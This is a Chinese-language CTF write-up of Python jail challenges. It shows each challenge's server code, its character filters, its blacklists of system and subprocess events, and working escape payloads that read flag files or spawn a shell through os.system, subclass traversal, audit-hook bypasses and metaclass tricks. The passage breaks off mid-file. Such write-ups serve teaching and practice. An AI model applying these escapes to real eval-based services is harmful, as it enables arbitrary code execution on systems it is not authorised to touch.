由于Python3中的unicode特性,所以也会见到unicode碰撞的题目,因此利用下面脚本可以获取一些常用的碰撞unicode。

1
2
3
4
5
6
7
8
9
10
11
12
13
from unicodedata import normalize
from string import ascii_lowercase
from collections import defaultdict

lst = list(ascii_lowercase)
dic = defaultdict(list)
for char in lst:
for i in range(0x110000):
if normalize("NFKC", chr(i)) == char:
dic[char].append(chr(i))
if len(dic[char]) > 9:
break
print(dic)

calc_jail_beginner(basic)

server.py

1
2
input_data = input("> ")
print('Answer: {}'.format(eval(input_data)))

payload

1
2
__import__('os').system('cat flag')
open('flag').read()

python2 input(python2 basic)

server.py

1
2
input_data = input("> ")
print input_data

payload

1
__import__("os").system("cat flag")

calc_jail_beginner_level1(字符过滤)

server.py

1
2
3
4
5
6
7
8
9
def filter(s):
not_allowed = set('"\'`ib') # "、'、`、i、b被过滤
return any(c in not_allowed for c in s)

input_data = input("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))

exp

1
2
3
4
5
a = "__import__('os').system('cat flag')"
exp = ""
for i in a:
exp += f"chr({ord(i)})+"
print(f"eval({exp[:-1]})")

payload

1
2
3
open(chr(102)+chr(108)+chr(97)+chr(103)).read()

eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(111)+chr(115)+chr(39)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(99)+chr(97)+chr(116)+chr(32)+chr(102)+chr(108)+chr(97)+chr(103)+chr(39)+chr(41))

calc_jail_beginner_level2(长度限制)

server.py

1
2
3
4
5
input_data = input("> ")
if len(input_data)>13:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))

payload

1
2
eval(input())
__import__("os").system("cat flag")

calc_jail_beginner_level2.5(关键字匹配,长度限制)

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
def filter(s):
BLACKLIST = ["exec","input","eval"]
for i in BLACKLIST:
if i in s:
print(f'{i!r} has been banned for security reasons')
exit(0)

input_data = input("> ")
filter(input_data)
if len(input_data)>13:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))

payload

1
2
3
4
5
breakpoint()
__import__('os').system('cat flag')

𝓮val(inp𝓾t()) # unicode
__import__('os').system('cat flag')

calc_jail_beginner_level3(长度限制)

server.py

1
2
3
4
5
input_data = input("> ")
if len(input_data)>7:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))

payload

1
2
3
help()
sys
! cat flag

lake lake lake(长度限制,获取全局变量)

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
code = input(">")
if(len(code)>9):
return print("you're hacker!")
try:
print(eval(code))
except:
pass

def backdoor():
print("Please enter the admin key")
key = input(">")
if(key == fake_key_var_in_the_local_but_real_in_the_remote):
code = input(">")
try:
print(eval(code))
except:
pass
else:
print("Nooo!!!!")

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
func()
exit(0)
elif(input_data == "2"):
backdoor()
exit(0)
else:
print("not found the choice")
exit(0)

两个通道1和2,根据题目提示,经尝试发现大概意思是走1获取通关的key,然后拿着key进入2进行验证key,验证成功即可随便输入。

下面来实现

先走1,使用globals()获取全局的变量
得到key为a34af94e88aed5c34fb5ccfe08cd14ab
然后进入2,执行任意命令

payload

1
2
3
4
5
6
7
8
9
10
11
1

globals()

{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f090e9a0ac0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/ctf/./server.py', '__cached__': None, 'key_9b1d015375213e21': 'a34af94e88aed5c34fb5ccfe08cd14ab', 'func': <function func at 0x7f090eb3fd90>, 'backdoor': <function backdoor at 0x7f090ea01fc0>, 'WELCOME': '\n'}

2

a34af94e88aed5c34fb5ccfe08cd14ab

__import__("os").system('cat flag')

l@ke l@ke l@ke()(长度限制,获取全局变量)

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
code = input(">")
if(len(code)>6):
return print("you're hacker!")
try:
print(eval(code))
except:
pass

def backdoor():
print("Please enter the admin key")
key = input(">")
if(key == fake_key_var_in_the_local_but_real_in_the_remote):
code = input(">")
try:
print(eval(code))
except:
pass
else:
print("Nooo!!!!")

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
func()
exit(0)
elif(input_data == "2"):
backdoor()
exit(0)
else:
print("not found the choice")
exit(0)

还是两步走,通道1,长度不超过6来获取key,通道2验证key

对于通道1,我们调用help()进入函数,输入server查看key
拿到key:95c720690c2c83f0982ffba63ff87338
进入backdoor,执行命令

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1

help()

server

1

help()

server

2

95c720690c2c83f0982ffba63ff87338

__import__("os").system('cat flag')

第一次 help() 中查看 server 时,环境变为 server.py,此时可以查看变量

calc_jail_beginner_level4()(模块删除)

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr']

eval_func = eval

for m in BANLIST:
del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
not_allowed = set('"\'`')
return any(c in not_allowed for c in s)

input_data = input("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval_func(input_data)))

chr被ban了,所以字符串构造就要换一种方式了,使用bytes([]).decode()
payload为open(“flag”).read()

payload

1
open(bytes([102, 108, 97, 103]).decode()).read()  # flag

calc_jail_beginner_level4.0.5(字符过滤,模块删除)

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr', 'input','locals','globals']

my_eval_func_0002321 = eval
my_input_func_2309121 = input

for m in BANLIST:
del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
not_allowed = set('"\'`')
return any(c in not_allowed for c in s)

print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals and `,\",' Good luck!")
input_data = my_input_func_2309121("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(my_eval_func_0002321(input_data)))

payload

1
2
3
open(bytes([102, 108, 97, 103]).decode()).read()

[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(bytes([115])+bytes([121])+bytes([115])+bytes([116])+bytes([101])+bytes([109])).decode()]((bytes([99])+bytes([97])+bytes([116])+bytes([32])+bytes([102])+bytes([108])+bytes([97])+bytes([103])).decode()) # system("cat flag")

calc_jail_beginner_level4.1(字符过滤,模块删除)

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','input','locals','globals','bytes']
my_eval_func_ABDC8732 = eval
my_input_func_001EC9GP = input
for m in BANLIST:
del __builtins__.__dict__[m]
del __loader__, __builtins__
def filter(s):
not_allowed = set('"\'`')
return any(c in not_allowed for c in s)

print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,\",' Good luck!")
input_data = my_input_func_001EC9GP("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(my_eval_func_ABDC8732(input_data)))

方法1:
ban了bytes ,得换一种方法获取bytes了,可以用type来获取bytes
而且根据提示可知需要查文件,因此这题flag肯定不是flag了,需要执行ls查看文件名。
先说明一下bytes和type的关系:

1
2
3
4
5
6
7
bytes = type(str(1).encode())
"system" == (type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()

<class 'os._wrap_close'> == [].__class__.__mro__[-1].__subclasses__()[-4]

# 执行system(???)
[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()](???)

system(‘ls’)

1
[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()]((type(str(1).encode())([108])+type(str(1).encode())([115])).decode())

方法2:
利用Show subclasses with tuple找到bytes类:

1
2
> ().__class__.__base__.__subclasses__()
Answer: [<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>....

可发现bytes类的索引是6。所以有

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())

方法3:
利用__doc__

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__doc__[19]+().__doc__[86]+().__doc__[19]+().__doc__[4]+().__doc__[17]+().__doc__[10]](().__doc__[19]+().__doc__[56])

方法4:

1
2
3
my_eval_func_ABDC8732(my_input_func_001EC9GP())
().__class__.__base__.__subclasses__()[137].__init__.__globals__['system']("sh")
cat f*

calc_jail_beginner_level4.2(字符过滤,模块删除)

server.py

1
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,",',+ Good luck!

方法1:
可见byte 、加号都被ban了,我们用.__add__来替换加号,然后仍然用上一题的方法去构造system(“ls”)然后cat flag

1
[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115]).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([115])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([101])).__add__(type(str(1).encode())([109]))).decode()]((type(str(1).encode())([108]).__add__(type(str(1).encode())([115]))).decode())

写个脚本自动生成字符串

1
2
3
4
5
6
7
8
9
lst = []
for i in "cat flag_y0u_CaNt_FiNd_mE":
lst.append(f"type(str(1).encode())([{ord(i)}])")

print("("+lst.pop(0),end='')
for i in lst:
print(f".__add__({i})",end='')

print(").decode()")

得到

1
(type(str(1).encode())([99]).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([32])).__add__(type(str(1).encode())([102])).__add__(type(str(1).encode())([108])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([103])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([48])).__add__(type(str(1).encode())([117])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([67])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([70])).__add__(type(str(1).encode())([105])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([100])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([109])).__add__(type(str(1).encode())([69]))).decode()

然后执行

1
[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115]).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([115])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([101])).__add__(type(str(1).encode())([109]))).decode()]((type(str(1).encode())([99]).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([32])).__add__(type(str(1).encode())([102])).__add__(type(str(1).encode())([108])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([103])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([48])).__add__(type(str(1).encode())([117])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([67])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([70])).__add__(type(str(1).encode())([105])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([100])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([109])).__add__(type(str(1).encode())([69]))).decode())

方法2:

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())

方法3:
还是利用__doc__的方法但需要改变字符串的拼接方法:除了直接用+连接字符串以外,还有一种常用的方法,如字符串’1234’可以用如下的方式得到

1
''.join(['1', '2', '3', '4'])

但是我们需要绕过一开始的’’,直接用str()

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([().__doc__[19],().__doc__[86],().__doc__[19],().__doc__[4],().__doc__[17],().__doc__[10]])](str().join([().__doc__[19],().__doc__[56]]))

calc_jail_beginner_level4.3(字符过滤,模块删除)

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','input','locals','globals','bytes','type','open']

my_eval_func_002EFCDB = eval
my_input_func_000FDCAB = input

for m in BANLIST:
del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
not_allowed = set('"\'`+')
return any(c in not_allowed for c in s)

def main():
input_data = my_input_func_000FDCAB("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(my_eval_func_002EFCDB(input_data)))

if __name__ == '__main__':
main()

方法1:
ban了type,但是又学到了一招list(dict(system=114514))[0]可以获取system这个字符串
因此直接执行system(sh)

1
[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[list(dict(system=1))[0]](list(dict(sh=1))[0])

方法2:

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())

方法3:

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([().__doc__[19],().__doc__[86],().__doc__[19],().__doc__[4],().__doc__[17],().__doc__[10]])](str().join([().__doc__[19],().__doc__[56]]))

方法4:

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[[i for i in ().__class__.__base__.__subclasses__()[-4].__init__.__globals__].pop(47)](().__class__.__base__.__subclasses__()[6]([99, 97, 116, 32, 42]).decode())

Deepseek解释

1
2
3
4
5
6
7
8
9
10
11
(
().__class__.__base__.__subclasses__()[-4] # 定位到包含 os 模块的类(如 warnings.catch_warnings)
.__init__.__globals__ # 获取该类的全局变量字典(含 os 模块)
[
[i for i in ...].pop(47) # 提取键名(如 'os')
] # 获取 os 模块
)(
().__class__.__base__.__subclasses__()[6]( # 创建 bytes 对象(通过 bytearray 类)
[99, 97, 116, 32, 42] # 字节码对应 "cat *"
).decode() # 解码为字符串
) # 执行 os.system("cat *")

calc_jail_beginner_level5(dir)

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
import load_flag
flag = load_flag.get_flag()
def main():
print("Seems flag into the dir()")
repl()
def repl():
my_global_dict = dict()
my_global_dict['my_flag'] = flag
input_code = input("> ")
complie_code = compile(input_code, '<string>', 'single')
exec(complie_code, my_global_dict)
if __name__ == '__main__':
main()

load_flag.py

1
2
3
4
5
6
7
8
9
10
11
class secert_flag(str):
def __repr__(self) -> str:
return "DELETED"
def __str__(self) -> str:
return "DELETED"
class flag_level5:
def __init__(self, flag: str):
setattr(self, 'flag_level5', secert_flag(flag))
def get_flag():
with open('flag') as f:
return flag_level5(f.read())

payload

1
2
3
4
5
6
7
8
''.join(my_flag.flag_level5)

breakpoint()
__import__('os').system('cat *')

my_flag.flag_level5.index('NSSCTF{*') #爆破

open("flag").read()

calc_jail_beginner_level5.1(dir)

根据尝试,__import__和open都给ban了

提示dir()

1
2
> dir()
['__builtins__', 'my_flag']

看到有个my_flag,使用dir跟进

1
2
> dir(my_flag)
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'flag_level5']

发现有个encode方法,直接调用即可

1
2
> my_flag.flag_level5.encode()
b'flag=NSSCTF{f9e51524-8c5a-4a06-a42b-4b7788fbc123}\n'

calc_jail_beginner_level6(audit hook)

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import sys

def my_audit_hook(my_event, _):
WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
if my_event not in WHITED_EVENTS:
raise RuntimeError('Operation not permitted: {}'.format(my_event))

def my_input():
dict_global = dict()
while True:
try:
input_data = input("> ")
except EOFError:
print()
break
except KeyboardInterrupt:
print('bye~~')
continue
if input_data == '':
continue
try:
complie_code = compile(input_data, '<string>', 'single')
except SyntaxError as err:
print(err)
continue
try:
exec(complie_code, dict_global)
except Exception as err:
print(err)

def main():
print("White list of audit hook ===> builtins.input,builtins.input/result,exec,compile")
my_input()

if __name__ == "__main__":
sys.addaudithook(my_audit_hook)
main()

payload

非预期

1
__builtins__["__loader__"].load_module("_posixsubprocess").fork_exec([b"/usr/bin/cat", "flag"], [b"/usr/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__builtins__["__loader__"].load_module('os').pipe()), False, False, None, None, None, -1, None)  # 利用_posixsubprocess执行命令

预期

1
exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('cat flag')")  # 修改白名单

calc_jail_beginner_level6.1(audit hook)

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import sys

def my_audit_hook(my_event, _):
WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
if my_event not in WHITED_EVENTS:
raise RuntimeError('Operation not permitted: {}'.format(my_event))

def main():
dict_global = dict()
input_code = input("> ")
complie_code = compile(input_code, '<string>', 'single')
exec(complie_code, dict_global)

if __name__ == "__main__":
sys.addaudithook(my_audit_hook)
main()

没看懂跟上题有什么区别

payload

1
2
3
__builtins__["__loader__"].load_module("_posixsubprocess").fork_exec([b"/usr/bin/cat", "flag"], [b"/usr/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__builtins__["__loader__"].load_module('os').pipe()), False, False, None, None, None, -1, None)  # 利用_posixsubprocess执行命令

exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('cat flag')") # 修改白名单

calc_jail_beginner_level7(ast沙箱)

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import ast
import sys
import os

def verify_ast_secure(m):
for x in ast.walk(m):
match type(x):
case (ast.Import|ast.ImportFrom|ast.Call|ast.Expr|ast.Add|ast.Lambda|ast.FunctionDef|ast.AsyncFunctionDef|ast.Sub|ast.Mult|ast.Div|ast.Del):
print(f"ERROR: Banned statement {x}")
return False
return True


def exexute_code(my_source_code):
print("Pls input your code: (last line must contain only --HNCTF)")
while True:
line = sys.stdin.readline()
if line.startswith("--HNCTF"):
break
my_source_code += line

tree_check = compile(my_source_code, "input_code.py", 'exec', flags=ast.PyCF_ONLY_AST)
if verify_ast_secure(tree_check):
print("check is passed!now the result is:")
compiled_code = compile(my_source_code, "input_code.py", 'exec')
exec(compiled_code)
print("Press any key to continue")
sys.stdin.readline()


while True:
os.system("clear")
print(WELCOME)
print("=================================================================================================")
print("== Welcome to the calc jail beginner level7,It's AST challenge ==")
print("== Menu list: ==")
print("== [G]et the blacklist AST ==")
print("== [E]xecute the python code ==")
print("== [Q]uit jail challenge ==")
print("=================================================================================================")
ans = (sys.stdin.readline().strip()).lower()
if ans == 'g':
print("=================================================================================================")
print("== Black List AST: ==")
print("== 'Import,ImportFrom,Call,Expr,Add,Lambda,FunctionDef,AsyncFunctionDef ==")
print("== Sub,Mult,Div,Del' ==")
print("=================================================================================================")
print("Press any key to continue")
sys.stdin.readline()
elif ans == 'e':
my_source_code = ""
exexute_code(my_source_code)
elif ans == 'q':
print("Bye")
quit()
else:
print("Unknown options!")
quit()

按G发现转为AST后不能含有以下内容:

1
2
3
4
5
6
G
=================================================================================================
== Black List AST: ==
== 'Import,ImportFrom,Call,Expr,Add,Lambda,FunctionDef,AsyncFunctionDef ==
== Sub,Mult,Div,Del' ==
=================================================================================================

虽然没有了import和call,但有一个魔术方法metaclass。
其中有个知识点:可以通过metaclass给类添加属性。
猜测一下,既然能添加类的属性,那是否可以修改呢?也就是说如果我们将一个类的某一个属性修改为os.system这样的函数,那么这样一来在我们调用的时候就可以执行了。现在的问题是需要一个可以传入字符串的属性,发现正好__getitem__符合条件。

__getitem__是用来取列表或者字典的值的一个属性,如果我们将一个类的__getitem__改为os.system的话就可以执行shell了

举个例子:

1
2
3
4
5
6
import os

class WOOD():
pass
WOOD.__getitem__=os.system
WOOD()['ls']

运行后发现执行了ls但这样依然无法解决这个题,如果我们将上述代码转为AST查看,会发现有Call和Expr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import ast

src='''
import os

class WOOD():
pass
WOOD.__getitem__=os.system
WOOD()['ls']
'''
ast_node = ast.parse(src, "test", mode="exec")
print(ast.dump(ast_node))

"""
Module(body=[Import(names=[alias(name='os', asname=None)]), ClassDef(name='WOOD', bases=[], keywords=[], body=[Pass()], decorator_list=[]), Assign(targets=[Attribute(value=Name(id='WOOD', ctx=Load()), attr='__getitem__', ctx=Store())], value=Attribute(value=Name(id='os', ctx=Load()), attr='system', ctx=Load()), type_comment=None), Expr(value=Subscript(value=Call(func=Name(id='WOOD', ctx=Load()), args=[], keywords=[]), slice=Index(value=Constant(value='ls', kind=None)), ctx=Load()))], type_ignores=[])
"""

对于如何避开Expr,我们给执行的内容赋值就行。

1
tmp = WOOD()['ls']

如何绕过Call?可以用metaclass,我们指定一个类的__getitem__==os.system,使用mateclass可以让类拥有属性,但不是类生成的对象具有这个属性,这样我们就不用调用实例化类的Call,从而进行绕过Call。

因此最终payload为:

1
2
3
4
5
6
7
8
9
10
e

class WOOD(type):
__getitem__=os.system
class WHALE(metaclass=WOOD):
pass
tmp = WHALE['sh']
--HNCTF

cat flag

另一个payload

1
2
3
4
5
6
7
8
9
e

@exec
@input
class A:
pass
--HNCTF

__import__('os').system('cat flag')

laKe laKe laKe(audit hook,print无法输出)

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import random
from io import StringIO
import sys
sys.addaudithook

BLACKED_LIST = ['compile', 'eval', 'exec', 'open']

eval_func = eval
open_func = open

for m in BLACKED_LIST:
del __builtins__.__dict__[m]


def my_audit_hook(event, _):
BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
if event in BALCKED_EVENTS:
raise RuntimeError('Operation banned: {}'.format(event))

def guesser():
game_score = 0
sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
sys.stdout.flush()
right_guesser_question_answer = random.randint(1, 9999999999999)
sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

try:
input_data = eval_func(input(''),{},{})
except Exception:
sys.stdout = challenge_original_stdout
print("Seems not right! please guess it!")
return game_score
sys.stdout = challenge_original_stdout

if input_data == right_guesser_question_answer:
game_score += 1

return game_score

def main():
game_score = guesser()
if game_score == 1:
print('you are really super guesser!!!!')
print(open_func('flag').read())
else:
print('Guess game end!!!')

if __name__ == '__main__':
sys.addaudithook(my_audit_hook)
main()

这题又是个非预期,原因是没有ban open

上来就hook了大部分函数

1
2
3
4
def my_audit_hook(event, _):
BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
if event in BALCKED_EVENTS:
raise RuntimeError('Operation banned: {}'.format(event))

分析一下关键猜数字的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def guesser():
game_score = 0
sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
sys.stdout.flush()
right_guesser_question_answer = random.randint(1, 9999999999999)
sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

try:
input_data = eval_func(input(''),{},{})
except Exception:
sys.stdout = challenge_original_stdout
print("Seems not right! please guess it!")
return game_score
sys.stdout = challenge_original_stdout

if input_data == right_guesser_question_answer:
game_score += 1

return game_score

可知我们需要猜出right_guesser_question_answer才可以获取flag,同时还给sys.stdout、sys.seterr进行了重定向,调用print无法输出。

但是可以通过__import__(“sys”).__stdout__.write()去输入。

那么我们的思路就是,读文件,然后输出

用os.open打开文件,然后用os.read读文件,当然也可以用__import__(‘io’).open(“flag”).read()

1
__import__("sys").__stdout__.write(__import__("os").read(__import__("os").open("flag",__import__("os").O_RDONLY), 0x114).decode())

另一个payload

1
list(__import__('sys')._getframe(1).f_locals.values())[1]

lak3 lak3 lak3(audit hook,print无法输出,栈帧)

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import random
from io import StringIO
import sys
sys.addaudithook

BLACKED_LIST = ['compile', 'eval', 'exec']

eval_func = eval
open_func = open

for m in BLACKED_LIST:
del __builtins__.__dict__[m]


def my_audit_hook(event, _):
BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen','code.__new__','function.__new__','cpython._PySys_ClearAuditHooks','open'})
if event in BALCKED_EVENTS:
raise RuntimeError('Operation banned: {}'.format(event))

def guesser():
game_score = 0
sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
sys.stdout.flush()
right_guesser_question_answer = random.randint(1, 9999999999999)
sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

try:
input_data = eval_func(input(''),{},{})
except Exception:
sys.stdout = challenge_original_stdout
print("Seems not right! please guess it!")
return game_score
sys.stdout = challenge_original_stdout

if input_data == right_guesser_question_answer:
game_score += 1

return game_score

def main():
game_score = guesser()
if game_score == 1:
print('you are really super guesser!!!!')
print('flag{fake_flag_in_local_but_really_in_The_remote}')
else:
print('Guess game end!!!')

if __name__ == '__main__':
sys.addaudithook(my_audit_hook)
main()

这个厉害了,上来直接把io、system之类的函数全给hook掉了,还把上一题的open等更多的函数给ban了

1
2
3
4
def my_audit_hook(event, _):
BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen','code.__new__','function.__new__','cpython._PySys_ClearAuditHooks','open'})
if event in BALCKED_EVENTS:
raise RuntimeError('Operation banned: {}'.format(event))

依然是需要猜对数字才能获取flag

正确答案在right_guesser_question_answer里面。但如何获取该值呢?

搜索了好多信息,最后在官方文档里找到一个很6的函数
alt text

居然还可以获取调用栈的帧对象,默认的参数是0,但是在这里如果传入0的话就会获取eval的调用栈帧,所以得deep一层

1
__import__("sys")._getframe(1)

我们试试看是啥情况,有个小技巧,可以使用__import__(“sys”).__stdout__.write去进行标准输出,这也是上一个非预期的输出方法。

1
2
3
4
5
__import__("sys").__stdout__.write(str(__import__('sys')._getframe(1)))

Welcome to my guesser game!
Can u guess the number? between 1 and 9999999999999 > __import__("sys").__stdout__.write(str(__import__('sys')._getframe(1)))
<frame at 0x7f00ab5e1590, file '/home/ctf/./server.py', line 31, code guesser>Guess game end!!!

这里的frame对象指向了’/home/ctf/./server.py’这个file,那么直接调用f_locals属性查看变量

1
2
3
4
5
__import__("sys").__stdout__.write(str(__import__('sys')._getframe(1).f_locals))

Welcome to my guesser game!
Can u guess the number? between 1 and 9999999999999 > __import__("sys").__stdout__.write(str(__import__('sys')._getframe(1).f_locals))
{'game_score': 0, 'right_guesser_question_answer': 4392334357835, 'challenge_original_stdout': <_io.TextIOWrapper name='<stdout>' mode='w' encoding='utf-8'>}Guess game end!!!

我们可以看到获取到了right_guesser_question_answer的值,所以最后的payload为:

1
int(str(__import__('sys')._getframe(1).f_locals["right_guesser_question_answer"]))

另一个payload

1
list(__import__('sys')._getframe(1).f_locals.values())[1]

s@Fe safeeval(匿名函数)

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import os
import sys
import traceback
import pwnlib.util.safeeval as safeeval

